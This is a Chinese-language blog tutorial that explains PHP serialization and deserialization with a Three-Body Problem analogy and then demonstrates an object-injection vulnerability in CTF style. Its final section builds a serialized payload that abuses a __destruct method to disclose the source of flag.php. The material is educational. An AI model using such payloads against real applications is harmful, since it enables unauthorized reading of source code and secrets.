PHP反序列化漏洞

作者: 老夫不才 | 来源:发表于2019-05-11 03:49 被阅读0次

    虽然胳膊废了,也不能停止我更新的脚步。。。写个简单点的吧

    0x00 何为类和对象

    说到序列化和反序列化就不得不提到两个词:对象

    那么什么是类,什么是对象

    教科书式的答案是类是对象的抽象,对象是类的实例
    那啥叫个抽象,啥叫个实例呢
    简单的说,类就是对象的一个标准模板,而对象就是按照模板做出来的实物

    一脸懵逼
    举个栗子
    ,是一个类
    所有的都有一个脑袋两个胳膊两个腿
    这个就是关于所有人的一个标准模板

    而对象呢,对象跑了...nnp
    假设一个真实存在的对象小芳,村里有个姑娘叫小芳,她的脑袋倍儿锃亮
    这个就是一个具体的人了,小芳就是按照人的模板实际出来的一个实物


    小芳表示不想见你

    代码里具体是这样实现的

    <?php
        class BeautifulGirls{
            // 定义biu biu biu 忒否 girls的模板
            public $name;
    
            public function fail_in_love(){
                echo "My name is ".$this->name;
            }
        }
    
        $MissFang = new BeautifulGirls();   //实例化了一个biu 忒否 girl叫小芳
    ?>
    

    0x01 何为序列化和反序列化

    了解类和对象了后,来看看什么是序列化和反序列化
    (以下情景过于虚拟,推荐看官看看大刘的三体)

    三体中有这么一个情景,三体这个星球有三颗太阳,而且很不稳定,有时候离得近有时候离得远,有时候是一个,多的时候蹦出来仨斗地主,导致三体人长期生活在一个天气很不稳定的环境下,从而衍生出来了一种脱水的本领,仨太阳出来斗地主的时候,三体人就都脱水成为一张纸,以便保存,气候适宜的时候再由值班的人员将大家浸泡在水里,恢复形体...

    image.png

    对三体人来说
    脱水,就是序列化的过程
    浸泡,就是反序列化

    而代码在运行的时候,有的时候需要将实例对象存储起来,这个时候就需要像三体人一样脱水,不过对象脱水只能变成一个字符串

    <?php
        class ThreeBody{
            // 定义类
            public $name='test';
    
            public function fail_in_love(){
                echo "My name is ".$this->name;
            }
        }
    
        $reallyTreeBody = new ThreeBody();   //实例化了一个对象
    
        echo serialize($reallyTreeBody);    //将对象序列化后输出
    ?>
    

    运行后就会输出一个字符串,这个就是对象脱水(序列化)后的产物

    运行结果
    而这个字符串浸泡的时候,一定得有个模板作为标准才能恢复
    <?php
        class ThreeBody{
            // 定义类
            public $name='test';
    
            public function fail_in_love(){
                echo "My name is ".$this->name;
            }
        }
    
        $zhi = 'O:9:"ThreeBody":1:{s:4:"name";s:4:"test";}';    // 序列化后的字符串
    
        $reallyTreeBody = unserialize($zhi);    // 把字符串浸泡恢复一下
    
        echo $reallyTreeBody->name; // 成为对象了,把对象的name属性输出一下
    ?>
    

    运行后,就会输出对象的name

    image.png

    0x02 具体漏洞演示

    image.png
    如上图,这个页面会将参数f进行反序列,然后在析构函数里面会把对象的test参数源码输出出来

    插一句析构函数(__destruct),这个函数是在对象被销毁的时候调用的函数,当页面运行完时,会回收内存,将对象消毁,所以页面结束时就能触发
    同时还有其他的一些函数自己去搜一搜

    当我们想要它显示指定的源码时,就需要构造一个对象,test属性内容就是文件名

    那我们就可以在本地先写一个指定test属性内容的对象,然后去序列化一下,再将字符串反序列化就能得到我们指定的一个对象(其实就是脱裤子放屁,脱水一下再去浸泡一下)

    <?php
        class example{
            public $test='flag.php';
    
            function __destruct(){
                echo show_source($this->test);
            }
        }
    
        $a = new example;
    
        echo serialize($a);
    ?>
    

    运行后就能得到我们想要的对象的序列化结果


    image.png
    O:7:"example":1:{s:4:"test";s:8:"flag.php";}
    

    再将这个字符串传给f参数,就可以显示flag.php的内容

    image.png

    相关文章

      网友评论

        本文标题:PHP反序列化漏洞

        本文链接:https://www.haomeiwen.com/subject/qubnoqtx.html